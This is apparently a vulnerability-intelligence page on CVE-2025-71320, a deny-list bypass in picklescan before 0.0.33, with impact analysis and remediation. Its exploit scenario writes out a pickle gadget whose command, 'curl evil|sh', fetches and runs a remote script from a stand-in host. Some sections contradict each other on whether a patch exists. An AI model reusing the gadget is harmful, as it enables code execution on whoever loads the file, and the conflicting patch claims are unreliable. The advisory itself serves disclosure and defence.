picklescan
CVE-2025-71320
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker crafts pickle with pydoc.locate + operator.methodcaller gadget
-
DeliveryPublishes file to model hub or sends to victim
-
ExploitVictim runs picklescan < 0.0.33, returns clean verdict
-
ExecutionVictim deserializes pickle via pickle.load
-
PersistGadget resolves os module and invokes system()
-
ImpactArbitrary command execution as loading user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation completeness
|
| Exploitation Conditions | Exploitation requires that (1) picklescan version < 0.0.33 is used to vet a pickle the attacker controls, and (2) the resulting pickle is subsequently deserialized via pickle.load / torch.load / joblib.load on the victim system - the scanner bypass itself has no impact unless something downstream actually unpickles the file. No authentication, special configuration, or user privilege on the scanner host is required; the malicious payload uses only pydoc.locate and operator.methodcaller, which are present in any standard Python install, and works against default picklescan configurations. The practical limiter is the unpickling step: environments that have moved to safetensors or that refuse to load pickles from untrusted sources are not exposed even on vulnerable picklescan versions. |
| Impact | Signals are mostly aligned toward high practical risk: CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H (score 9.3) reflects unauthenticated remote impact once a pickle reaches a victim, the GHSA ships a working PoC, and the underlying use case (scanning untrusted ML model files) is precisely the threat model picklescan claims to defend against, so a bypass directly defeats the control. The asset is a security scanner, so the realistic exploitation surface is anyone who downloads a 'scanned-safe' model from a public hub - high reach, but mediated by user action of loading the model, which CVSS 4.0 captures as UI:N from the deserializer's standpoint but is effectively user-initiated in practice. No CISA KEV listing and no EPSS value were provided, so widespread in-the-wild abuse is not confirmed; the bigger risk is silent supply-chain poisoning of ML artifacts rather than mass exploitation, and prioritization should be high for any pipeline that uses picklescan as a gate. |
| Exploit ScenarioDerived | An attacker publishes a Python pickle (e.g., a model checkpoint .pkl or PyTorch file) to a public model hub or sends it to a victim; inside, a __reduce__ returns (operator.methodcaller('system', 'curl evil|sh'), (pydoc.locate('os'),)). A defender or hub runs picklescan, which does not list these functions as dangerous and returns a clean verdict, so the file is loaded with pickle.load and executes the command as the loading user. The GHSA includes a working PoC demonstrating exactly this chain. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 17, 2026
Arbitrary code execution in picklescan before 0.0.33 allows remote attackers to bypass the scanner's malicious-pickle detection by using pydoc.locate and operator.methodcaller, which were missing from the deny-list. Any downstream tool that trusts a 'clean' picklescan verdict and then deserializes the pickle (e.g., ML model loaders) will execute attacker-supplied code. Publicly available exploit code exists (GHSA PoC), and CVSS 4.0 is rated 9.3 Critical, though no public exploit identified at time of analysis in CISA KEV.
RemediationAI
Vendor-released patch: upgrade picklescan to 0.0.33 or later (pip install -U 'picklescan>=0.0.33'), which extends the deny-list for the pydoc and operator modules to a wildcard so any use of those modules is flagged as dangerous; the fix is tracked in PR https://github.com/mmaitre314/picklescan/pull/53 and commit 70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab, with full details in advisory https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q. If immediate upgrade is not possible, treat picklescan 'safe/suspicious' verdicts as untrusted for pickle files originating from external sources, and instead refuse to deserialize raw pickles - prefer safetensors or other non-executable model formats, which eliminates the pickle attack surface entirely at the cost of needing format-converted artifacts. As a narrower stopgap, sandbox unpickling in a no-network, read-only container (limits blast radius but does not prevent in-container code execution), or extend a local fork's deny-list to treat pydoc.* and operator.* as dangerous (matches the upstream fix but must be maintained manually).
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
picklescan is a Python package (cpe:2.3:a:picklescan:picklescan) widely used in the ML ecosystem - notably by Hugging Face - to statically inspect pickle files for dangerous opcodes/imports before they are unpickled into model weights. It relies on an explicit deny-list of module.function pairs treated as dangerous. CWE-184 (Incomplete List of Disallowed Inputs) applies directly: the list enumerated only some pydoc and operator functions, so pydoc.locate (which dynamically resolves any module name to a live module object, e.g. 'os') and operator.methodcaller (which returns a callable that invokes a named method on its argument, e.g. 'system') passed through unflagged. Chained together inside __reduce__, they reproduce the classic os.system gadget while evading the scanner.
Know when Picklescan gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-delivered malicious pickle, no auth, but victim must load the file (UI:R); full RCE yields C/I/A High, scope unchanged.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
picklescan before 0.0.33 contains an incomplete deny-list that fails to block pydoc.locate and operator.methodcaller functions, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using these unblocked functions to achieve arbitrary code execution when the pickle is deserialized.
Executive ViewAI
Picklescan, a Python security library used to validate data files in ML and data pipelines, contains a critical flaw that attackers can exploit to bypass its security checks and gain code execution on downstream systems. The vulnerability affects organizations relying on Picklescan to protect machine learning operations, automated model deployment, and data processing workflows-essentially breaking the security assurance that Picklescan provides. Publicly available exploit code exists, creating immediate and actionable risk to data integrity and system security.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Eliminate Picklescan-based verdicts from security decision logic; (2) Deploy pickle deserialization only within sandboxed, low-privilege containers with network isolation and resource limits; (3) Prohibit pickle deserialization of untrusted or external data; (4) Migrate to safe serialization formats (JSON, Protocol Buffers) where possible; (5) Implement network segmentation to contain blast radius of potential code execution; (6) Establish monitoring for Picklescan patch availability (0.0.33+).
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
More in Picklescan
View allAn Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles
A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot
An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0
Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle
Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle
Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr
Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing
Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected i
Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using
Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th
Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files b
Detection bypass in picklescan before 0.0.29 allows attackers to craft malicious pickle files using idlelib.debugobj.Obj
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB